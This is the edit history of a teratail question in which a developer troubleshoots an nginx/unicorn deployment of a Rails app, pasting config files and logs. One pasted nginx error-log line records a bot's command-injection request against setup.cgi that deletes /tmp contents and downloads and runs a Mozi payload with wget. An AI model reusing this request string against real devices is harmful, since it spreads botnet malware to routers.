teratail header banner
teratail header banner
質問するログイン新規登録

質問編集履歴

5

gem list mysql実行結果の追記

2020/01/02 01:10

投稿

sinzanmono46
sinzanmono46

スコア6

title CHANGED
File without changes
body CHANGED
@@ -200,4 +200,6 @@
200
200
  after_fork do |_server, _worker|
201
201
  defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection
202
202
  end
203
- ```
203
+ ```
204
+ ##gem list mysql 実行結果
205
+ mysql2 (0.5.2)

4

追記事項の記述

2020/01/02 01:09

投稿

sinzanmono46
sinzanmono46

スコア6

title CHANGED
File without changes
body CHANGED
@@ -39,9 +39,26 @@
39
39
  2019/12/31 07:36:25 [error] 2790#0: *5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
40
40
 
41
41
  unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
42
+ ##unicorn.stderr.log
43
+ I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
44
+ I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
45
+ I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
46
+ I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
47
+ I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
48
+ I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
49
+ I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
50
+ I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
51
+ I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
52
+ I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
53
+ I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
54
+ I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
55
+ I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
56
+ I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
57
+ I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete
42
58
 
59
+
43
60
  ##/etc/nginx/conf.d/rails.conf
44
-
61
+ ```
45
62
  upstream app_server {
46
63
  server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock;
47
64
  }
@@ -70,19 +87,117 @@
70
87
 
71
88
  error_page 500 502 503 504 /500.html;
72
89
  }
73
- ##unicorn.stderr.log
74
- I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
75
- I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
76
- I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
77
- I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
78
- I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
79
- I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
80
- I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
81
- I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
82
- I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
83
- I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
84
- I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
85
- I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
86
- I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
87
- I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
88
- I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete
90
+ ```
91
+
92
+
93
+ ##sudo nginx -t 実行結果
94
+ nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
95
+ nginx: configuration file /etc/nginx/nginx.conf test is successful
96
+
97
+ ##/etc/nginx/nginx.conf
98
+ ```
99
+ user nginx;
100
+ worker_processes auto;
101
+ error_log /var/log/nginx/error.log;
102
+ pid /var/run/nginx.pid;
103
+
104
+ include /usr/share/nginx/modules/*.conf;
105
+
106
+ events {
107
+ worker_connections 1024;
108
+ }
109
+
110
+ http {
111
+ log_format main '$remote_addr - $remote_user [$time_local] "$request" '
112
+ '$status $body_bytes_sent "$http_referer" '
113
+ '"$http_user_agent" "$http_x_forwarded_for"';
114
+
115
+ access_log /var/log/nginx/access.log main;
116
+
117
+ sendfile on;
118
+ tcp_nopush on;
119
+ tcp_nodelay on;
120
+ keepalive_timeout 65;
121
+ types_hash_max_size 2048;
122
+
123
+ include /etc/nginx/mime.types;
124
+ default_type application/octet-stream;
125
+
126
+ include /etc/nginx/conf.d/*.conf;
127
+
128
+ index index.html index.htm;
129
+
130
+ server {
131
+ listen 80 default_server;
132
+ listen [::]:80 default_server;
133
+ server_name localhost;
134
+ root /usr/share/nginx/html;
135
+
136
+ include /etc/nginx/default.d/*.conf;
137
+
138
+ location / {
139
+ }
140
+ ```
141
+
142
+ ##config/puma.rb
143
+ ```
144
+ max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
145
+ min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
146
+ threads min_threads_count, max_threads_count
147
+
148
+ port ENV.fetch("PORT") { 3000 }
149
+
150
+ environment ENV.fetch("RAILS_ENV") { "development" }
151
+
152
+ pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" }
153
+
154
+ plugin :tmp_restart
155
+ ```
156
+ ##config.unicorn.rb
157
+ ```
158
+ app_path = File.expand_path('../../../', __FILE__)
159
+
160
+ worker_processes 1
161
+
162
+ working_directory "#{app_path}/current"
163
+
164
+ pid "#{app_path}/shared/tmp/pids/unicorn.pid"
165
+ #listen 3000
166
+ listen "#{app_path}/shared/tmp/sockets/unicorn.sock"
167
+
168
+ stderr_path "#{app_path}/shared/log/unicorn.stderr.log"
169
+
170
+ stdout_path "#{app_path}/shared/log/unicorn.stdout.log"
171
+
172
+ timeout 120
173
+
174
+ preload_app true
175
+ GC.respond_to?(:copy_on_write_friendly=) && GC.copy_on_write_friendly = true
176
+
177
+ check_client_connection false
178
+
179
+ run_once = true
180
+
181
+ before_fork do |server, worker|
182
+ defined?(ActiveRecord::Base) &&
183
+ ActiveRecord::Base.connection.disconnect!
184
+
185
+ if run_once
186
+ run_once = false # prevent from firing again
187
+ end
188
+
189
+ old_pid = "#{server.config[:pid]}.oldbin"
190
+ if File.exist?(old_pid) && server.pid != old_pid
191
+ begin
192
+ sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
193
+ Process.kill(sig, File.read(old_pid).to_i)
194
+ rescue Errno::ENOENT, Errno::ESRCH => e
195
+ logger.error e
196
+ end
197
+ end
198
+ end
199
+
200
+ after_fork do |_server, _worker|
201
+ defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection
202
+ end
203
+ ```

3

unicorn.stderr.logのログを追記

2020/01/02 01:01

投稿

sinzanmono46
sinzanmono46

スコア6

title CHANGED
File without changes
body CHANGED
@@ -69,4 +69,20 @@
69
69
  }
70
70
 
71
71
  error_page 500 502 503 504 /500.html;
72
- }
72
+ }
73
+ ##unicorn.stderr.log
74
+ I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
75
+ I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
76
+ I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
77
+ I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
78
+ I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
79
+ I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
80
+ I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
81
+ I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
82
+ I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
83
+ I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
84
+ I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
85
+ I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
86
+ I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
87
+ I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
88
+ I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete

2

/etc/nginx/conf.d/rails.conf の記述内容を追記致しました。

2020/01/01 10:03

投稿

sinzanmono46
sinzanmono46

スコア6

title CHANGED
File without changes
body CHANGED
@@ -38,4 +38,35 @@
38
38
  **/var/log/nginx/error.log**
39
39
  2019/12/31 07:36:25 [error] 2790#0: *5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
40
40
 
41
- unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
41
+ unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
42
+
43
+ ##/etc/nginx/conf.d/rails.conf
44
+
45
+ upstream app_server {
46
+ server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock;
47
+ }
48
+
49
+ server {
50
+ listen 80;
51
+ server_name 18.176.69.6;
52
+
53
+ root /var/www/datingapp/current/public;
54
+
55
+ location ^~ /assets/ {
56
+ gzip_static on;
57
+ expires max;
58
+ add_header Cache-Control public;
59
+ root /var/www/datingapp/current/public;
60
+ }
61
+
62
+ try_files $uri/index.html $uri @unicorn;
63
+
64
+ location @unicorn {
65
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
66
+ proxy_set_header Host $http_host;
67
+ proxy_redirect off;
68
+ proxy_pass http://app_server;
69
+ }
70
+
71
+ error_page 500 502 503 504 /500.html;
72
+ }

1

nginxのエラー文を追記致しました。

2020/01/01 04:42

投稿

sinzanmono46
sinzanmono46

スコア6

title CHANGED
File without changes
body CHANGED
@@ -31,4 +31,11 @@
31
31
  CPU使用率が動いているため、問題なく起動はできていると考えています。
32
32
  capistranoも問題なく実行完了するので、nginxに原因があると考えていますが、
33
33
  server_nameの後に記述するIPアドレスに問題はありませんでした。
34
- 恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。
34
+ 恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。
35
+
36
+ ##追記事項
37
+ nginxのログでは以下のエラー文が出ておりました。
38
+ **/var/log/nginx/error.log**
39
+ 2019/12/31 07:36:25 [error] 2790#0: *5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
40
+
41
+ unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。